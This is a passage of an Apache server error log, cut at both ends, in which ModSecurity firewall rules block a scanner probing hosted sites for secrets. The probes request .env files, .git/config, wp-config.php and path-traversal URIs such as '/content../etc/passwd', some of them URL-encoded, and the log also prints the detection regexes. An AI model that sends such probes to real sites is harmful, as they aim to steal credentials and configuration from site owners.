"Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env~"] [unique_id "ai3yB8TA7b1mZrmcA-87QwAAAkM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.048582 2026] [security2:error] [pid 531797:tid 532121] [client 103.153.183.69:46130] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env~"] [unique_id "ai3yB8TA7b1mZrmcA-87RQAAAo0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.068921 2026] [security2:error] [pid 531155:tid 531406] [client 103.153.183.69:46156] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/api../config.py"] [unique_id "ai3yBymiP80klyS0NnoHqAAAAYM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.075630 2026] [security2:error] [pid 531797:tid 532041] [client 103.153.183.69:46130] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env~"] [unique_id "ai3yB8TA7b1mZrmcA-87SAAAAkA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.094221 2026] [security2:error] [pid 531797:tid 531936] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/api/v2/.env"] [unique_id "ai3yB8TA7b1mZrmcA-87SgACj0g"] [Sat Jun 13 18:12:55.130625 2026] [access_compat:error] [pid 531797:tid 531945] [remote 57.141.14.55:56105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:55.130940 2026] [access_compat:error] [pid 531797:tid 531945] [remote 57.141.14.55:56105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:55.380330 2026] [security2:error] [pid 531797:tid 532068] [client 103.153.183.69:46130] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/content../etc/passwd"] [unique_id "ai3yB8TA7b1mZrmcA-87XQAAAlo"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.407520 2026] [security2:error] [pid 531797:tid 532030] [client 103.153.183.69:46130] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/content../etc/nginx/nginx.conf"] [unique_id "ai3yB8TA7b1mZrmcA-87XwAAAjU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.425060 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL3Bvd2Vy [Sat Jun 13 18:12:55.425491 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL3Bvd2Vy [Sat Jun 13 18:12:55.428454 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.42:47736] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:55.428903 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.42:47736] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:55.434898 2026] [security2:error] [pid 531797:tid 532019] [client 103.153.183.69:46130] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/content../.env"] [unique_id "ai3yB8TA7b1mZrmcA-87YgAAAis"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.460271 2026] [security2:error] [pid 531797:tid 532023] [client 103.153.183.69:46130] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/content../wp-config.php"] [unique_id "ai3yB8TA7b1mZrmcA-87ZAAAAi8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.486282 2026] [security2:error] [pid 531797:tid 532011] [client 103.153.183.69:46184] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/content../config.php"] [unique_id "ai3yB8TA7b1mZrmcA-87ZQAAAiM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.559765 2026] [security2:error] [pid 531797:tid 532094] [client 103.153.183.69:46172] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/content../index.php"] [unique_id "ai3yB8TA7b1mZrmcA-87agAAAnM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.566162 2026] [security2:error] [pid 531797:tid 532092] [client 103.153.183.69:46194] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/.env.log"] [unique_id "ai3yB8TA7b1mZrmcA-87awAAAnE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.600529 2026] [security2:error] [pid 531797:tid 531873] [remote 17.241.227.195:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 195.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yB8TA7b1mZrmcA-87bAACVAk"] [Sat Jun 13 18:12:55.647569 2026] [security2:error] [pid 531797:tid 532021] [client 103.153.183.69:46206] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/./.env.log"] [unique_id "ai3yB8TA7b1mZrmcA-87cgAAAi0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.795843 2026] [security2:error] [pid 531155:tid 531396] [client 103.153.183.69:46218] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/content../config.py"] [unique_id "ai3yBymiP80klyS0NnoHvQAAAXk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.799911 2026] [security2:error] [pid 531797:tid 532125] [client 103.153.183.69:46210] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/.env.txt"] [unique_id "ai3yB8TA7b1mZrmcA-87eQAAApA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.823325 2026] [security2:error] [pid 531797:tid 532109] [client 103.153.183.69:46242] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/content../.git/config"] [unique_id "ai3yB8TA7b1mZrmcA-87fAAAAoI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.849970 2026] [security2:error] [pid 531797:tid 532071] [client 103.153.183.69:46234] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/content../docker-compose.yml"] [unique_id "ai3yB8TA7b1mZrmcA-87fgAAAl0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:55.971523 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:12:55.971968 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:12:56.033959 2026] [security2:error] [pid 531797:tid 532041] [client 103.153.183.69:46236] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/public../etc/passwd"] [unique_id "ai3yCMTA7b1mZrmcA-87hgAAAkA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.039112 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.60:63846] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:56.039516 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.60:63846] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:56.056015 2026] [security2:error] [pid 531797:tid 532016] [client 103.153.183.69:46252] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCMTA7b1mZrmcA-87iAAAAig"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.061238 2026] [security2:error] [pid 531797:tid 532124] [client 103.153.183.69:46236] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/public../etc/nginx/nginx.conf"] [unique_id "ai3yCMTA7b1mZrmcA-87iQAAAo8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.088133 2026] [security2:error] [pid 531797:tid 532126] [client 103.153.183.69:46252] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCMTA7b1mZrmcA-87iwAAApE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.091037 2026] [security2:error] [pid 531797:tid 532025] [client 103.153.183.69:46236] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/public../.env"] [unique_id "ai3yCMTA7b1mZrmcA-87jAAAAjE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.117868 2026] [security2:error] [pid 531797:tid 532066] [client 103.153.183.69:46252] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCMTA7b1mZrmcA-87jwAAAlg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.119694 2026] [security2:error] [pid 531797:tid 532029] [client 103.153.183.69:46236] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/public../wp-config.php"] [unique_id "ai3yCMTA7b1mZrmcA-87kAAAAjQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.143861 2026] [security2:error] [pid 531797:tid 532102] [client 103.153.183.69:46252] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/%2F.%65%6Ev"] [unique_id "ai3yCMTA7b1mZrmcA-87kQAAAns"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.145602 2026] [security2:error] [pid 531797:tid 532121] [client 103.153.183.69:46256] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/public../config.php"] [unique_id "ai3yCMTA7b1mZrmcA-87kgAAAo0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.194593 2026] [access_compat:error] [pid 531797:tid 531925] [remote 57.141.14.102:65135] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:56.195032 2026] [access_compat:error] [pid 531797:tid 531925] [remote 57.141.14.102:65135] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:56.202495 2026] [security2:error] [pid 531797:tid 531916] [remote 17.246.19.33:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 33.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yCMTA7b1mZrmcA-87lwACUjQ"] [Sat Jun 13 18:12:56.222835 2026] [security2:error] [pid 531155:tid 531364] [client 103.153.183.69:46266] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/public../index.php"] [unique_id "ai3yCCmiP80klyS0NnoHyQAAAVk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.223747 2026] [security2:error] [pid 531155:tid 531410] [client 103.153.183.69:46258] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoHyAAAAYc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.226711 2026] [security2:error] [pid 531155:tid 531269] [remote 54.242.136.68:39043] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "aynabeautystudio.com"] [uri "/wp-content/uploads/2022/12/Lash-Lift-Services-Vancouver.jpg"] [unique_id "ai3yCCmiP80klyS0NnoHygABfXE"] [Sat Jun 13 18:12:56.249874 2026] [security2:error] [pid 531155:tid 531362] [client 103.153.183.69:46258] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoHzAAAAVc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.256131 2026] [security2:error] [pid 531797:tid 531885] [remote 17.241.227.76:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 76.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yCMTA7b1mZrmcA-87mgACRBU"] [Sat Jun 13 18:12:56.377993 2026] [security2:error] [pid 531155:tid 531395] [client 103.153.183.69:46258] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoH0wAAAXg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.400184 2026] [access_compat:error] [pid 531797:tid 531957] [remote 57.141.14.68:20386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:56.400661 2026] [access_compat:error] [pid 531797:tid 531957] [remote 57.141.14.68:20386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:56.405390 2026] [security2:error] [pid 531155:tid 531304] [client 103.153.183.69:46258] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoH1AAAAR0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.433330 2026] [security2:error] [pid 531155:tid 531405] [client 103.153.183.69:46258] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoH1gAAAYI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.460305 2026] [security2:error] [pid 531155:tid 531299] [client 103.153.183.69:46258] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/%2F%2Eenv"] [unique_id "ai3yCCmiP80klyS0NnoH2gAAARg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.469877 2026] [access_compat:error] [pid 531155:tid 531241] [remote 